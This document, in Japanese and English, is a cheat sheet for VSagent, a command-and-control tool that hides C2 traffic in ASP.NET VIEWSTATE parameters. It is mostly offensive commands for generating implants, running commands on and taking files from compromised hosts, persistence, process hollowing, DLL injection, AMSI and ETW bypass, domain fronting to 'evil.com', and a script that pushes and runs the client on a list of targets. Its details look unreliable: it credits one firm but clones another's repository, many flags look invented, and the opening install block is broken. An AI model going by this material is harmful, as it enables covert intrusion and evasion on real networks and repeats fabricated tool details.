VSagentチートシート

```bash

Install required dependencies

sudo apt update sudo apt install git python3 python3-pip

Install web server components

sudo apt install apache2 nginx


VSagentは、Black Hills Information Security (BHIS)によって開発された特殊なコマンド＆コントロール（C2）ツールで、ウェブアプリケーションの__VIEWSTATE__パラメータ内にC2トラフィックを巧妙に隠蔽します。この革新的なアプローチは、ASP.NETアプリケーションが一般的に大きなbase64エンコードされたVIEWSTATEパラメータを使用する事実を活用し、悪意のあるトラフィックを正規のウェブアプリケーション通信にシームレスに溶け込ませます。このツールは、ウェブアプリケーションフレームワークの普遍性と予期される動作を悪用して、秘密の通信チャネルを確立する洗練された回避技術を表しています。

VSagentの主な強みは、C2通信を通常のウェブアプリケーショントラフィックに偽装する能力にあります。VIEWSTATEパラメータ内にコマンドおよびコントロールデータを埋め込むことで、従来のネットワーク監視ソリューションによる検出を著しく困難にします。セキュリティチームは多くの場合、VIEWSTATEトラフィックを標準的なウェブアプリケーションの動作として見過ごすため、VSagentが利用できる効果的な盲点を作り出します。この技術は、厳格なネットワーク監視環境や、従来のC2プロトコルが迅速に検出およびブロックされる環境で特に価値があります。

VSagentは、「目立つところに隠れる」という原則に基づいて動作し、正規のインフラストラクチャとウェブアプリケーションの予期されるトラフィックパターンを利用して、侵害されたシステムとの持続的な通信を維持します。このツールの設計は、ウェブアプリケーションのアーキテクチャとネットワークセキュリティ監視の限界の両方に対する深い理解を反映しており、レッドチームの武器庫と侵入テストツールキットにとって貴重な追加要素となっています。

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# Clone VSagent repository
git clone https://github.com/nccgroup/VSagent.git
cd VSagent

# Install Python dependencies
pip3 install -r requirements.txt

# Make scripts executable
chmod +x *.py
chmod +x *.sh

Docker Installation

# Build VSagent container
docker build -t vsagent .

# Run VSagent container
docker run -d -p 80:80 -p 443:443 vsagent

# Access container shell
docker exec -it vsagent /bin/bash

Basic Usage

Server Setup

Setting up the VSagent server component to handle C2 communications:

# Start VSagent server
python3 vsagent_server.py --port 8080 --interface 0.0.0.0

# Start with SSL/TLS
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key

# Start with custom VIEWSTATE key
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"

# Enable verbose logging
python3 vsagent_server.py --port 8080 --verbose

# Start with authentication
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123"

Client Deployment

Deploying VSagent clients on target systems:

# Generate client payload
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate PowerShell client
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell

# Generate with custom User-Agent
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"

# Generate with proxy support
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key"

Command Execution

Executing commands through VSagent C2 channel:

# List active agents
vsagent> list

# Select agent for interaction
vsagent> use agent_001

# Execute system command
agent_001> shell whoami

# Execute PowerShell command
agent_001> powershell Get-Process

# Upload file to agent
agent_001> upload /local/path/file.txt C:\temp\file.txt

# Download file from agent
agent_001> download C:\temp\data.txt /local/path/data.txt

# Execute in-memory .NET assembly
agent_001> execute-assembly /path/to/assembly.exe arguments

Advanced Features

VIEWSTATE Manipulation

Advanced techniques for manipulating VIEWSTATE parameters:

# Custom VIEWSTATE encoding
python3 vsagent_server.py --viewstate-encoding base64

# Multiple VIEWSTATE keys rotation
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600

# VIEWSTATE compression
python3 vsagent_server.py --viewstate-compress gzip

# Custom VIEWSTATE validation
python3 vsagent_server.py --viewstate-validation custom

# VIEWSTATE fragmentation
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024

Traffic Obfuscation

Implementing traffic obfuscation techniques:

# Random delay between communications
agent_001> set delay 30-120

# Custom HTTP headers
agent_001> set headers "X-Custom-Header: value"

# User-Agent rotation
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."

# Referrer spoofing
agent_001> set referrer "https://legitimate-site.com"

# Cookie manipulation
agent_001> set cookies "session=abc123; auth=xyz789"

Persistence Mechanisms

Establishing persistence through VSagent:

# Registry persistence
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"

# Scheduled task persistence
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"

# Service persistence
agent_001> persist service --name "VSagentSvc" --display "System Update Service"

# WMI persistence
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"

# Startup folder persistence
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Evasion Techniques

Network Evasion

Implementing network-level evasion:

# Domain fronting
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com

# DNS over HTTPS
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query

# Traffic shaping
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30

# Protocol tunneling
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443

# Proxy chaining
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080"

Host-Based Evasion

Evading host-based detection:

# Process hollowing
agent_001> hollow-process notepad.exe payload.exe

# DLL injection
agent_001> inject-dll target_process.exe malicious.dll

# Memory patching
agent_001> patch-memory process_name offset shellcode

# AMSI bypass
agent_001> bypass-amsi

# ETW evasion
agent_001> disable-etw

Anti-Analysis

Implementing anti-analysis techniques:

# Sandbox detection
agent_001> detect-sandbox

# Virtual machine detection
agent_001> detect-vm

# Debugger detection
agent_001> detect-debugger

# Analysis tool detection
agent_001> detect-analysis-tools

# Environment fingerprinting
agent_001> fingerprint-environment

Automation Scripts

Deployment Automation

#!/bin/bash
# VSagent deployment automation

# Set variables
SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

# Generate clients for multiple targets
while IFS= read -r target; do
    echo "Generating client for $target"
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy client
    scp vsagent_client.exe user@$target:/tmp/
    ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"

echo "Deployment completed"

Command Automation

#!/bin/bash
# VSagent command automation

# Connect to VSagent server
python3 -c "
import vsagent_client

# Initialize connection
client = vsagent_client.VSagentClient('192.168.1.100', 8080)

# Execute command sequence
commands = [
    'shell whoami',
    'shell hostname',
    'powershell Get-Process',
    'download C:\temp\data.txt /tmp/data.txt'
]

for cmd in commands:
    result = client.execute(cmd)
    print(f'Command: \\\\{cmd\\\\}')
    print(f'Result: \\\\{result\\\\}')
    print('-' * 50)
"

Monitoring Script

#!/usr/bin/env python3
# VSagent monitoring script

import time
import requests
import json

def monitor_vsagent_traffic():
    """Monitor VSagent C2 traffic"""

    server_url = "http://192.168.1.100:8080"

    while True:
        try:
            # Check server status
            response = requests.get(f"\\\\{server_url\\\\}/status")

            if response.status_code == 200:
                data = response.json()

                print(f"Active agents: \\\\{data['active_agents']\\\\}")
                print(f"Total commands: \\\\{data['total_commands']\\\\}")
                print(f"Data transferred: \\\\{data['data_transferred']\\\\}")

                # Log agent activity
                for agent in data['agents']:
                    print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_vsagent_traffic()

Integration Examples

SIEM Integration

Integrating VSagent with SIEM systems:

# Splunk integration
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089

# ELK Stack integration
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200

# QRadar integration
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514

# Custom SIEM integration
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py

Threat Intelligence Integration

#!/usr/bin/env python3
# VSagent threat intelligence integration

import requests
import json

def integrate_threat_intel():
    """Integrate with threat intelligence platforms"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    # Check IOCs
    iocs = ["192.168.1.100", "evil.com", "malicious.exe"]

    for ioc in iocs:
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

        response = requests.get(url, params=params)

        if response.status_code == 200:
            data = response.json()
            print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")

if __name__ == "__main__":
    integrate_threat_intel()

Troubleshooting

Common Issues

Connection Problems:

# Check network connectivity
ping target_server

# Verify port accessibility
telnet target_server 8080

# Check firewall rules
sudo iptables -L|grep 8080

# Test with curl
curl -v http://target_server:8080

VIEWSTATE Issues:

# Validate VIEWSTATE format
python3 validate_viewstate.py --input viewstate_data

# Debug VIEWSTATE parsing
python3 vsagent_server.py --debug-viewstate

# Check VIEWSTATE size limits
python3 check_viewstate_limits.py --server target_server

パフォーマンスの問題:

# Monitor resource usage
top -p $(pgrep vsagent)

# Check memory usage
ps aux|grep vsagent

# Monitor network traffic
netstat -an|grep 8080

# Check disk space
df -h

デバッグ

詳細なデバッグを有効にする:

# Enable debug mode
python3 vsagent_server.py --debug --log-level DEBUG

# Capture network traffic
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080

# Analyze logs
tail -f /var/log/vsagent.log

# Memory debugging
valgrind --tool=memcheck python3 vsagent_server.py

セキュリティに関する考慮事項

運用セキュリティ

通信セキュリティ:

C2通信には常にHTTPS/TLSを使用する
中間者攻撃を防ぐために証明書ピンニングを実装する
ペイロード送信に強力な暗号化を使用する
暗号化キーを定期的に更新する

インフラストラクチャセキュリティ:

C2サーバーをCDNまたはリダイレクタの背後に展開する
可能な限りドメインフロンティング技術を使用する
管理アクセスのためのIPホワイトリスティングを実装する
定期的なセキュリティアップデートとパッチ適用

検出回避:

通信パターンとタイミングを変化させる
正当に見えるUser-Agentストリングを使用する
ビーコン間隔にジッターを実装する
防御的な対策を監視する

法的および倫理的考慮事項

承認されたテストのみ:

展開前に適切な書面による承認を得る
範囲と制限を明確に定義する
コンプライアンスのためにすべての活動を文書化する
責任ある情報開示の慣行に従う

データ保護:

移動中および保存時の機密データを暗号化する
安全なデータ削除手順を実装する
プライバシーと機密性の要件を尊重する
適用可能なデータ保護規制に準拠する